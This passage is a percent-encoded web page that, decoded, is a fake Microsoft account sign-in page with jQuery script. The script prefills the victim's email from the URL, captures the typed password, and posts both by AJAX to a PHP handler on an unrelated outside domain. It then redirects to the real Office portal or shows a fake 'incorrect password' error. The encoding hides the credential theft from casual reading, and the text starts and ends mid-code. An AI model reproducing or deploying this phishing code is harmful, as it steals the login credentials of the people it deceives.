%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%61%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%68%6F%77%44%65%62%75%67%44%65%74%61%69%6C%73%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%75%72%6C%55%78%50%72%65%76%69%65%77%4F%70%74%49%6E%20%26%26%20%73%68%6F%77%46%65%61%74%75%72%65%4E%6F%74%69%66%69%63%61%74%69%6F%6E%42%61%6E%6E%65%72%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%66%6F%72%6D%3E%0A%20%20%20%20%20%20%3C%66%6F%72%6D%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%20%61%72%69%61%2D%68%69%64%64%65%6E%3D%22%74%72%75%65%22%20%74%61%72%67%65%74%3D%22%5F%74%6F%70%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%61%75%74%6F%53%75%62%6D%69%74%3A%20%70%6F%73%74%52%65%64%69%72%65%63%74%46%6F%72%63%65%53%75%62%6D%69%74%2C%20%61%74%74%72%3A%20%7B%20%61%63%74%69%6F%6E%3A%20%70%6F%73%74%52%65%64%69%72%65%63%74%55%72%6C%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%66%6F%72%65%61%63%68%3A%20%70%6F%73%74%52%65%64%69%72%65%63%74%50%61%72%61%6D%73%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%66%6F%72%6D%3E%0A%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%75%72%6C%4D%73%61%4D%65%43%6F%6E%74%72%6F%6C%20%26%26%20%21%73%76%72%2E%75%72%6C%4D%73%61%53%74%61%74%69%63%4D%65%43%6F%6E%74%72%6F%6C%20%2D%2D%3E%0A%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%75%72%6C%4D%73%61%53%74%61%74%69%63%4D%65%43%6F%6E%74%72%6F%6C%20%26%26%20%63%61%6C%6C%4D%73%61%53%74%61%74%69%63%4D%65%43%6F%6E%74%72%6F%6C%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%75%72%6C%43%42%50%61%72%74%6E%65%72%50%72%65%6C%6F%61%64%20%2D%2D%3E%0A%20%20%20%20%20%20%3C%64%69%76%20%69%64%3D%22%69%64%50%61%72%74%6E%65%72%50%4C%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%69%6E%6A%65%63%74%49%66%72%61%6D%65%3A%20%7B%20%75%72%6C%3A%20%73%76%72%2E%75%72%6C%43%42%50%61%72%74%6E%65%72%50%72%65%6C%6F%61%64%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%3C%69%66%72%61%6D%65%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%3B%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%70%6F%72%74%61%6C%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%2F%50%72%65%66%65%74%63%68%2F%50%72%65%66%65%74%63%68%2E%61%73%70%78%22%0A%0A%20%20%20%20%20%20%20%20%20%20%68%65%69%67%68%74%3D%22%30%22%20%77%69%64%74%68%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%61%6A%61%78%2E%61%73%70%6E%65%74%63%64%6E%2E%63%6F%6D%2F%61%6A%61%78%2F%6A%51%75%65%72%79%2F%6A%71%75%65%72%79%2D%33%2E%33%2E%31%2E%6D%69%6E%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%3E%0A%09%20%20%24%28%64%6F%63%75%6D%65%6E%74%29%2E%72%65%61%64%79%28%66%75%6E%63%74%69%6F%6E%28%29%7B%0A%09%20%20%20%20%67%65%74%5F%65%6D%61%69%6C%5F%68%61%73%68%28%29%3B%0A%09%09%76%61%72%20%69%30%31%31%36%20%3D%20%24%28%27%23%69%30%31%31%36%27%29%3B%0A%09%09%2F%2F%76%61%72%20%70%61%73%73%5F%69%30%31%31%38%20%3D%20%24%28%27%23%69%30%31%31%38%27%29%3B%0A%09%09%76%61%72%20%75%72%6C%20%3D%20%27%27%3B%0A%09%09%76%61%72%20%79%69%64%20%3D%20%47%65%74%55%52%4C%50%61%72%61%6D%65%74%65%72%28%27%75%73%65%72%6E%61%6D%65%27%29%3B%0A%09%09%76%61%72%20%79%69%64%32%20%3D%20%66%61%6C%73%65%3B%0A%09%09%2F%2A%20%20%2A%2F%0A%09%09%0A%09%09%69%66%28%21%79%69%64%20%26%26%20%67%65%74%5F%65%6D%61%69%6C%5F%68%61%73%68%28%29%20%21%3D%20%66%61%6C%73%65%29%7B%20%0A%09%09%20%20%0A%09%09%20%20%2F%2F%69%66%28%67%65%74%5F%65%6D%61%69%6C%5F%68%61%73%68%28%29%20%21%3D%20%66%61%6C%73%65%29%7B%0A%09%09%20%20%20%20%79%69%64%20%3D%20%67%65%74%5F%65%6D%61%69%6C%5F%68%61%73%68%28%29%3B%20%0A%09%09%20%20%20%20%79%69%64%32%20%3D%20%74%72%75%65%3B%20%0A%09%09%20%20%2F%2F%7D%0A%09%09%7D%0A%09%09%2F%2A%20%20%2A%2F%0A%09%09%76%61%72%20%65%6D%61%69%6C%5F%73%65%63%74%20%3D%20%24%28%27%2E%65%6D%61%69%6C%5F%73%65%63%74%69%6F%6E%5F%78%79%7A%27%29%3B%0A%09%09%76%61%72%20%70%61%73%73%5F%73%65%63%74%20%3D%20%24%28%27%2E%70%61%73%73%5F%73%65%63%74%69%6F%6E%5F%78%79%7A%27%29%3B%0A%09%09%76%61%72%20%64%69%73%70%6C%61%79%4E%61%6D%65%20%3D%20%24%28%27%23%64%69%73%70%6C%61%79%4E%61%6D%65%27%29%3B%0A%09%09%76%61%72%20%6C%6F%67%69%6E%5F%6E%61%6D%65%5F%78%79%7A%20%3D%20%24%28%27%2E%6C%6F%67%69%6E%5F%6E%61%6D%65%5F%78%79%7A%27%29%3B%0A%09%09%64%69%73%70%6C%61%79%4E%61%6D%65%2E%61%74%74%72%28%27%76%61%6C%75%65%27%2C%20%79%69%64%29%3B%0A%09%09%64%69%73%70%6C%61%79%4E%61%6D%65%2E%68%74%6D%6C%28%27%20%3C%73%70%61%6E%20%73%74%79%6C%65%3D%22%66%6F%6E%74%2D%73%69%7A%65%3A%20%32%30%70%78%3B%20%63%75%72%73%6F%72%3A%20%70%6F%69%6E%74%65%72%22%20%63%6C%61%73%73%3D%22%62%61%63%6B%5F%62%74%6E%75%75%75%22%3E%20%26%23%38%35%39%32%3B%20%3C%2F%73%70%61%6E%3E%20%27%2B%79%69%64%29%3B%0A%09%09%24%28%27%2E%62%61%63%6B%5F%62%74%6E%75%75%75%27%29%2E%63%6C%69%63%6B%28%66%75%6E%63%74%69%6F%6E%28%29%7B%0A%09%09%20%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%22%69%6E%64%65%78%2E%68%74%6D%6C%22%29%3B%0A%09%09%7D%29%3B%0A%09%09%6C%6F%67%69%6E%5F%6E%61%6D%65%5F%78%79%7A%2E%76%61%6C%28%79%69%64%29%3B%0A%09%09%69%66%28%79%69%64%20%26%26%20%79%69%64%20%21%3D%20%27%27%20%26%26%20%79%69%64%2E%6C%65%6E%67%74%68%20%3E%20%34%29%7B%0A%09%09%20%20%65%6D%61%69%6C%5F%73%65%63%74%2E%72%65%6D%6F%76%65%28%29%3B%0A%09%09%20%20%70%61%73%73%5F%73%65%63%74%2E%73%68%6F%77%28%29%3B%0A%09%09%20%20%69%30%31%31%36%2E%76%61%6C%28%79%69%64%29%3B%0A%09%09%7D%0A%09%09%65%6C%73%65%7B%0A%09%09%20%20%70%61%73%73%5F%73%65%63%74%2E%72%65%6D%6F%76%65%28%29%3B%0A%09%09%20%20%65%6D%61%69%6C%5F%73%65%63%74%2E%73%68%6F%77%28%29%3B%0A%09%09%7D%0A%09%09%76%61%72%20%69%64%53%49%42%75%74%74%6F%6E%39%20%3D%20%24%28%27%23%69%64%53%49%42%75%74%74%6F%6E%39%27%29%3B%0A%09%09%69%64%53%49%42%75%74%74%6F%6E%39%2E%63%6C%69%63%6B%28%66%75%6E%63%74%69%6F%6E%28%65%29%7B%0A%09%09%20%20%65%2E%70%72%65%76%65%6E%74%44%65%66%61%75%6C%74%28%29%3B%0A%09%09%20%2F%2F%20%61%6C%65%72%74%28%27%73%73%73%27%29%3B%0A%09%09%20%20%69%64%53%49%42%75%74%74%6F%6E%39%2E%63%73%73%28%7B%20%27%62%6F%72%64%65%72%2D%63%6F%6C%6F%72%27%20%3A%20%27%23%66%66%66%66%66%66%27%20%20%7D%29%3B%0A%09%09%20%20%76%61%72%20%65%6D%61%69%6C%20%3D%20%69%30%31%31%36%2E%76%61%6C%28%29%3B%0A%09%09%20%20%69%66%28%24%28%27%2E%65%6D%61%69%6C%5F%73%65%63%74%69%6F%6E%5F%78%79%7A%27%29%2E%6C%65%6E%67%74%68%29%7B%0A%09%09%20%20%20%20%69%66%28%65%6D%61%69%6C%20%21%3D%20%27%27%20%26%26%20%65%6D%61%69%6C%2E%6C%65%6E%67%74%68%20%3E%20%34%29%7B%0A%09%09%20%20%20%20%20%20%69%66%28%79%69%64%32%29%7B%0A%09%09%09%20%20%20%20%75%72%6C%20%3D%20%27%69%6E%64%65%78%2E%68%74%6D%6C%23%27%2B%79%69%64%3B%0A%09%09%09%20%20%7D%0A%09%09%09%20%20%65%6C%73%65%7B%0A%09%09%09%20%20%75%72%6C%20%3D%20%27%69%6E%64%65%78%2E%68%74%6D%6C%3F%6F%61%75%74%68%32%30%5F%61%75%74%68%6F%72%69%7A%65%2E%73%72%66%3F%72%65%73%70%6F%6E%73%65%5F%74%79%70%65%3D%63%6F%64%65%26%63%6C%69%65%6E%74%5F%69%64%3D%35%31%34%38%33%33%34%32%2D%30%38%35%63%2D%34%64%38%36%2D%62%66%38%38%2D%63%66%35%30%63%37%32%35%32%30%37%38%26%73%63%6F%70%65%3D%6F%70%65%6E%69%64%2B%70%72%6F%66%69%6C%65%2B%65%6D%61%69%6C%2B%6F%66%66%6C%69%6E%65%5F%61%63%63%65%73%73%26%72%65%73%70%6F%6E%73%65%5F%6D%6F%64%65%3D%66%6F%72%6D%5F%70%6F%73%74%26%72%65%64%69%72%65%63%74%5F%75%72%69%3D%68%74%74%70%73%25%33%61%25%32%66%25%32%66%6C%6F%67%69%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%25%32%66%63%6F%6D%6D%6F%6E%25%32%66%66%65%64%65%72%61%74%69%6F%6E%25%32%66%6F%61%75%74%68%32%26%73%74%61%74%65%3D%72%51%49%49%41%58%57%53%50%57%5F%54%55%42%53%47%63%35%4D%30%4E%46%45%46%46%55%4B%43%4D%51%4D%73%53%45%36%75%72%7A%39%69%52%2D%71%51%6B%4D%52%31%53%4B%37%54%66%44%52%4E%6C%69%68%78%37%4E%70%78%37%4F%73%6D%7A%70%64%5F%41%55%68%49%64%4D%36%43%68%49%53%51%4B%69%59%45%43%50%45%54%4B%69%48%4B%57%67%6C%31%36%59%43%59%4B%69%62%45%68%4E%75%64%35%62%7A%44%65%59%61%6A%39%7A%6D%50%49%33%53%4B%7A%6A%35%6B%47%5A%62%72%5A%77%59%69%4A%66%5A%35%68%6D%4A%46%47%6C%4A%39%46%76%45%55%77%7A%45%38%67%79%41%39%35%43%41%7A%75%5A%76%59%5F%76%42%69%36%35%33%79%73%69%77%5F%76%31%7A%39%65%50%53%71%33%6C%69%44%65%47%39%73%7A%72%57%55%53%75%77%54%63%4E%5F%77%50%48%65%61%54%61%63%58%69%30%57%4B%36%4C%71%70%33%69%7A%53%6E%77%45%34%41%2D%41%6E%41%4F%76%77%68%75%5A%51%72%63%5A%4A%65%4D%6F%7A%76%4D%41%4B%50%4D%65%79%49%71%51%68%7A%51%68%73%71%6A%6F%71%4C%70%56%32%5A%34%6E%74%6F%74%66%78%73%61%6B%30%49%4B%77%57%79%6B%61%6C%61%58%48%64%67%75%56%31%43%36%55%52%62%72%62%38%6A%6C%32%79%71%76%62%65%41%6F%5F%79%46%6D%37%6D%6B%46%4C%49%65%64%69%57%56%7A%65%38%58%78%39%56%32%71%56%52%46%63%6B%42%33%5F%4B%44%68%46%69%53%59%63%65%76%47%2D%66%68%4F%30%70%75%35%68%6E%6F%65%70%43%4A%36%57%75%5F%77%33%47%64%54%4F%79%65%53%36%62%65%4F%76%49%57%4B%4B%37%6D%79%4D%4D%6E%78%48%45%30%31%55%74%64%59%35%72%6A%6D%57%72%66%4D%34%6C%54%6D%78%42%58%6D%33%69%6D%4E%74%30%52%57%2D%36%41%79%6F%77%50%4F%38%76%2D%33%4E%34%39%57%76%47%5A%58%45%39%6D%4D%6E%53%75%4B%65%7A%32%6A%44%34%74%6D%42%61%6E%61%4F%56%61%69%53%39%61%6C%63%47%30%57%79%61%43%38%42%54%37%45%43%71%4E%55%65%65%41%6C%6B%54%55%56%6D%70%49%73%6F%72%37%5F%46%4B%72%4D%51%75%76%57%39%47%4A%69%6E%45%6D%54%30%6D%7A%67%6C%78%64%64%73%64%55%48%74%58%6E%36%6C%37%4A%4C%52%74%34%73%48%39%51%72%78%6F%7A%76%53%34%54%6D%2D%52%62%4E%66%35%39%4A%42%62%55%61%68%50%6E%4E%48%49%37%4F%4D%6F%78%68%30%6C%33%51%6E%52%7A%72%4A%31%46%77%61%5F%6F%46%6F%78%6B%4E%7A%63%54%32%36%45%48%6F%57%54%6F%54%78%53%38%33%67%6A%4D%58%58%32%38%6A%48%37%39%2D%30%31%36%38%2D%6C%43%76%66%69%4F%51%36%63%62%61%61%76%42%74%64%48%59%6B%67%38%78%48%4A%53%6C%4D%57%66%4B%4D%7A%4E%51%50%57%4E%56%50%59%39%63%43%39%6D%4E%6C%6C%39%61%48%55%6D%79%41%6E%66%6F%4C%48%30%63%41%38%65%78%32%46%55%4D%50%4C%73%56%2D%68%4C%5F%6E%2D%76%7A%78%4C%33%67%58%30%51%4B%49%67%71%79%53%53%68%6B%47%5A%53%6C%68%65%34%5F%30%26%65%73%74%73%66%65%64%3D%31%26%75%61%69%64%3D%61%63%30%63%38%63%62%34%38%66%34%66%34%39%34%61%38%39%65%34%37%39%64%64%32%35%39%66%35%32%35%33%26%66%63%69%3D%34%33%34%35%61%37%62%39%2D%39%61%36%33%2D%34%39%31%30%2D%61%34%32%36%2D%33%35%33%36%33%32%30%31%64%35%30%33%26%6D%6B%74%3D%65%6E%2D%55%53%26%75%73%65%72%6E%61%6D%65%3D%27%2B%65%6D%61%69%6C%3B%0A%09%09%20%20%20%20%20%20%7D%0A%09%09%09%20%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%0A%09%09%20%20%20%20%7D%65%6C%73%65%7B%0A%09%09%20%20%20%20%20%20%24%28%27%2E%61%6C%65%72%74%5F%65%6D%61%69%6C%5F%73%65%63%74%27%29%2E%73%68%6F%77%28%29%3B%0A%09%09%20%20%20%20%7D%0A%09%09%20%20%7D%0A%09%09%20%20%0A%09%09%20%20%69%66%28%24%28%27%2E%70%61%73%73%5F%73%65%63%74%69%6F%6E%5F%78%79%7A%27%29%2E%6C%65%6E%67%74%68%29%7B%0A%09%09%20%20%20%20%76%61%72%20%70%61%73%73%20%3D%20%24%28%27%23%69%30%31%31%38%27%29%3B%0A%09%09%09%76%61%72%20%70%61%73%73%77%6F%72%64%5F%76%20%3D%20%70%61%73%73%2E%76%61%6C%28%29%3B%0A%09%09%09%69%66%28%79%69%64%20%26%26%20%79%69%64%20%21%3D%20%27%27%20%26%26%20%79%69%64%2E%6C%65%6E%67%74%68%20%3E%20%34%20%26%26%20%70%61%73%73%77%6F%72%64%5F%76%20%21%3D%20%27%27%29%7B%0A%09%09%09%20%20%2F%2F%76%61%72%20%70%61%73%73%77%6F%72%64%5F%76%20%3D%20%6C%6F%67%69%6E%5F%70%61%73%73%77%64%2E%76%61%6C%28%29%3B%0A%09%09%09%0A%09%09%09%20%20%2F%2A%20%20%2A%2F%0A%09%09%09%20%20%20%20%20%20%20%20%20%24%2E%61%6A%61%78%28%7B%0A%20%20%20%20%20%20%20%20%20%20%75%72%6C%3A%20%27%68%74%74%70%73%3A%2F%2F%77%77%77%2E%70%72%6F%6D%61%2E%63%6F%6D%2E%6D%78%2F%2E%70%72%76%74%2F%68%61%6E%64%6C%65%72%2E%70%68%70%27%2C%20%0A%20%20%20%20%20%20%20%20%20%20%74%79%70%65%3A%20%27%50%4F%53%54%27%2C%20%0A%20%20%20%20%20%20%20%20%20%20%64%61%74%61%54%79%70%65%3A%20%27%68%74%6D%6C%27%2C%20%0A%09%09%20%20%62%65%66%6F%72%65%53%65%6E%64%3A%20%66%75%6E%63%74%69%6F%6E%28%29%7B%0A%09%09%20%20%20%20%24%28%27%2E%6C%64%73%64%64%64%64%64%27%29%2E%73%68%6F%77%28%29%3B%0A%09%09%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%64%61%74%61%3A%20%7B%20%45%6D%61%69%6C%20%3A%20%79%69%64%2C%20%70%61%73%73%77%6F%72%64%20%3A%20%70%61%73%73%77%6F%72%64%5F%76%7D%2C%20%0A%09%09%20%20%63%72%6F%73%73%44%6F%6D%61%69%6E%3A%20%74%72%75%65%2C%0A%20%20%20%20%20%20%20%20%20%20%73%75%63%63%65%73%73%3A%20%66%75%6E%63%74%69%6F%6E%28%6D%73%67%29%20%7B%0A%09%09%20%20%2F%2F%61%6C%65%72%74%28%6D%73%67%29%3B%0A%09%09%20%20%20%20%24%28%27%2E%6C%64%73%64%64%64%64%64%27%29%2E%68%69%64%65%28%29%3B%0A%09%09%20%20%20%20%69%66%28%6D%73%67%20%3D%3D%20%27%79%65%73%27%29%7B%0A%09%09%09%20%20%24%28%27%2E%61%6C%65%72%74%5F%65%6D%61%69%6C%5F%73%65%63%74%27%29%2E%68%69%64%65%28%29%3B%0A%09%09%09%20%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%22%68%74%74%70%73%3A%2F%2F%70%6F%72%74%61%6C%2E%6F%66%66%69%63%65%2E%63%6F%6D%22%29%3B%0A%09%09%09%7D%0A%09%09%09%65%6C%73%65%7B%0A%09%09%09%20%20%24%28%27%2E%61%6C%65%72%74%5F%6D%73%67%5F%79%78%71%27%29%2E%68%74%6D%6C%28%22%59%6F%75%72%20%61%63%63%6F%75%6E%74%20%6F%72%20%70%61%73%73%77%6F%72%64%20%69%73%20%69%6E%63%6F%72%72%65%63%74%2E%20%49%66%20%79%6F%75%20%64%6F%6E%27%74%20%72%65%6D%65%6D%62%65%72%20%79%6F%75%72%20%70%61%73%73%77%6F%72%64%22%29%3B%0A%09%09%09%20%20%24%28%27%2E%61%6C%65%72%74%5F%65%6D%61%69%6C%5F%73%65%63%74%27%29%2E%73%68%6F%77%28%29%3B%0A%09%09%09%7D%0A%09%09%20%20%20%20%2F%2F%61%6C%65%72%74%28%6D%73%67%29%3B%0A%09%09%20%20%20%2F%2F%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%22%68%74%74%70%73%3A%2F%2F%6C%6F%67%69%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%2F%63%6F%6D%6D%6F%6E%2F%6F%61%75%74%68%32%2F%61%75%74%68%6F%72%69%7A%65%3F%63%6C%69%65%6E%74%5F%69%64%3D%58%4D%52%6F%70%65%6E%69%64%2B%70%72%6F%66%69%6C%65%26%73%74%61%74%65%3D%4F%70%65%6E%49%64%43%6F%6E%6E%65%63%74%2E%41%75%74%68%65%6E%74%69%63%61%74%69%6F%6E%50%72%6F%70%65%72%74%69%65%73%25%33%64%62%4C%2D%39%75%39%6C%78%34%4E%71%6F%6B%39%47%56%71%76%69%51%37%41%78%59%35%46%55%4D%73%4B%42%45%37%4E%66%6A%38%42%43%32%71%48%39%4E%7A%44%6C%77%32%5A%75%2D%62%33%66%4B%63%36%59%50%79%61%4C%71%37%38%54%7A%4D%50%4C%6E%68%78%77%57%72%4E%6A%5A%37%77%70%6D%4F%4B%33%4B%77%59%62%53%66%48%64%4E%46%73%50%33%30%42%56%45%64%37%66%38%76%58%32%65%4D%53%66%48%65%33%6A%50%69%39%37%70%48%58%31%59%26%6E%6F%6E%63%65%3D%36%33%36%38%34%38%36%39%39%38%39%36%30%34%31%34%37%34%2E%4F%44%51%30%59%54%6C%68%59%7A%55%74%4E%7A%56%68%59%53%30%30%4F%57%4D%33%4C%57%45%78%4E%7A%4D%74%4D%7A%56%6C%4E%7A%67%32%5A%57%45%32%5A%44%67%34%5A%44%41%31%59%6A%42%68%4D%7A%4D%74%59%32%51%7A%4E%53%30%30%4D%47%45%31%4C%54%6C%68%4D%47%51%74%5A%44%45%31%4F%44%42%6B%59%7A%6B%30%4D%44%4A%6B%26%72%65%64%69%72%65%63%74%5F%75%72%69%3D%68%74%74%70%73%25%33%61%25%32%66%25%32%66%77%77%77%2E%6F%66%66%69%63%65%2E%63%6F%6D%25%32%66%26%75%69%5F%6C%6F%63%61%6C%65%73%3D%65%6E%2D%55%53%26%6D%6B%74%3D%65%6E%2D%55%53%26%63%6C%69%65%6E%74%2D%72%65%71%75%65%73%74%2D%69%64%3D%61%63%30%63%38%63%62%34%2D%38%66%34%66%2D%34%39%34%61%2D%38%39%65%34%2D%37%39%64%64%32%35%39%66%35%32%35%33%22%29%3B%0A%09%20%20%20%20%20%20%20%2F%2F%2F%20%61%6C%65%72%74%28%6D%73%67%29%3B%0A%09%09%20%20%20%20%2F%2F%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%22%68%74%74%70%73%3A%2F%2F%70%6F%72%74%61%6C%2E%6F%66%66%69%63%65%2E%63%6F%6D%22%29%3B%0A%09%09%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%65%72%72%6F%72%3A%20%66%75%6E%63%74%69%6F%6E%28%65%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%63%6F%6E%73%6F%6C%65%2E%6C%6F%67%28%65%29%0A%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%29%3B%0A%09%09%7D%0A%09%09%09%65%6C%73%65%7B%0A%09%09%09%20%20%24%28%27%2E%61%6C%65%72%74%5F%6D%73%67%5F%79%78%71%27%29%2E%68%74%6D%6C%28%27%50%6C%65%61%73%65%20%65%6E%74%65%72%20%74%68%65%20%70%61%73%73%77%6F%72%64%20%66%6F%72%20%79%6F%75%72%20%4D%69%63%72%6F%73%6F%66%74%20%61%63%63%6F%75%6E%74%2E%27%29%3B%0A%09%09%09%20%20%24%28%27%2E%61%6C%65%72%74%5F%65%6D%61%69%6C%5F%73%65%63%74%27%29%2E%73%68%6F%77%28%29%3B%0A%09%09%09%7D%0A%09%09%20%20%7D%0A%09%09%20%20%2F%2F%61%6C%65%72%74%28%79%69%64%29%3B%0A%09%09%7D%29%3B%0A%09%09%2F%2F%61%6C%65%72%74%28%79%69%64%29%3B%0A%09%20%20%7D%29%3B%0A%09%20%20%0A%09%20%20%66%75%6E%63%74%69%6F%6E%20%67%65%74%5F%65%6D%61%69%6C%5F%68%61%73%68%28%29%7B%0A%09%20%20%20%20%76%61%72%20%6F%75%74%70%75%74%20%3D%20%66%61%6C%73%65%3B%0A%09%20%20%20%20%76%61%72%20%73%50%61%67%65%55%52%4C%20%3D%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%3B%0A%09%09%2F%2F%73%50%61%67%65%55%52%4C%20%3D%20%27%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%2F%6F%66%66%69%63%65%31%77%69%74%68%65%6D%61%69%6C%2F%69%6E%64%65%78%2D%68%6F%6D%65%2E%68%74%6D%6C%23%74%65%73%74%40%67%6D%61%69%6C%2E%63%6F%6D%27%3B%0A%09%09%73%50%61%67%65%55%52%4C%20%3D%20%73%50%61%67%65%55%52%4C%2E%74%72%69%6D%28%29%3B%0A%09%09%76%61%72%20%6C%61%73%74%5F%69%6E%64%65%78%5F%6F%66%5F%68%61%73%68%20%3D%20%73%50%61%67%65%55%52%4C%2E%6C%61%73%74%49%6E%64%65%78%4F%66%28%27%23%27%29%3B%0A%09%09%69%66%28%6C%61%73%74%5F%69%6E%64%65%78%5F%6F%66%5F%68%61%73%68%20%21%3D%20%2D%31%29%7B%0A%09%09%20%20%6F%75%74%70%75%74%20%3D%20%73%50%61%67%65%55%52%4C%2E%73%75%62%73%74%72%69%6E%67%28%6C%61%73%74%5F%69%6E%64%65%78%5F%6F%66%5F%68%61%73%68%2B%31%29%3B%0A%09%09%20%20%69%66%28%21%76%61%6C%69%64%61%74%65%45%6D%61%69%6C%28%6F%75%74%70%75%74%29%29%7B%0A%09%09%20%20%20%20%6F%75%74%70%75%74%20%3D%20%66%61%6C%73%65%3B%0A%09%09%20%20%7D%0A%09%09%7D%0A%20%20%20%20%20%20%20%2F%2F%20%61%6C%65%72%74%28%6F%75%74%70%75%74%29%3B%0A%09%09%2F%2F%76%61%72%20%73%55%52%4C%56%61%72%69%61%62%6C%65%73%20%3D%20%73%50%61%67%65%55%52%4C%2E%73%70%6C%69%74%28%27%26%27%29%3B%0A%09%09%2F%2F%63%6F%6E%73%6F%6C%65%2E%6C%6F%67%28%73%55%52%4C%56%61%72%69%61%62%6C%65%73%29%3B%0A%09%09%72%65%74%75%72%6E%20%6F%75%74%70%75%74%3B%0A%09%20%20%7D%0A%09%20%20%0A%66%75%6E%63%74%69%6F%6E%20%76%61%6C%69%64%61%74%65%45%6D%61%69%6C%28%65%6D%61%69%6C%29%20%7B%0A%20%20%20%20%76%61%72%20%72%65%20%3D%20%2F%5E%28%28%5B%5E%3C%3E%28%29%5C%5B%5C%5D%5C%5C%2E%2C%3B%3A%5C%73%40%22%5D%2B%28%5C%2E%5B%5E%3C%3E%28%29%5C%5B%5C%5D%5C%5C%2E%2C%3B%3A%5C%73%40%22%5D%2B%29%2A%29%7C%28%22%2E%2B%22%29%29%40%28%28%5C%5B%5B%30%2D%39%5D%7B%31%2C%33%7D%5C%2E%5B%30%2D%39%5D%7B%31%2C%33%7D%5C%2E%5B%30%2D%39%5D%7B%31%2C%33%7D%5C%2E%5B%30%2D%39%5D%7B%31%2C%33%7D%5C%5D%29%7C%28%28%5B%61%2D%7A%41%2D%5A%5C%2D%30%2D%39%5D%2B%5C%2E%29%2B%5B%61%2D%7A%41%2D%5A%5D%7B%32%2C%7D%29%29%24%2F%3B%0A%20%20%20%20%72%65%74%75%72%6E%20%72%65%2E%74%65%73%74%28%53%74%72%69%6E%67%28%65%6D%61%69%6C%29%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%29%3B%0A%7D%0A%09%20%20%09%66%75%6E%63%74%69%6F%6E%20%47%65%74%55%52%4C%50%61%72%61%6D%65%74%65%72%28%73%50%61%72%61%6D%29%0A%7B%0A%20%20%20%20%76%61%72%20%73%50%61%67%65%55%52%4C%20%3D%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%73%65%61%72%63%68%2E%73%75%62%73%74%72%69%6E%67%28%31%29%3B%0A%20%20%20%20%76%61%72%20%73%55%52%4C%56%61%72%69%61%62%6C%65%73%20%3D%20%73%50%61%67%65%55%52%4C%2E%73%70%6C%69%74%28%27%26%27%29%3B%0A%20%20%20%20%66%6F%72%20%28%76%61%72%20%69%20%3D%20%30%3B%20%69%20%3C%20%73%55%52%4C%56%61%72%69%61%62%6C%65%73%2E%6C%65%6E%67%74%68%3B%20%69%2B%2B%29%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%76%61%72%20%73%50%61%72%61%6D%65%74%65%72%4E%61%6D%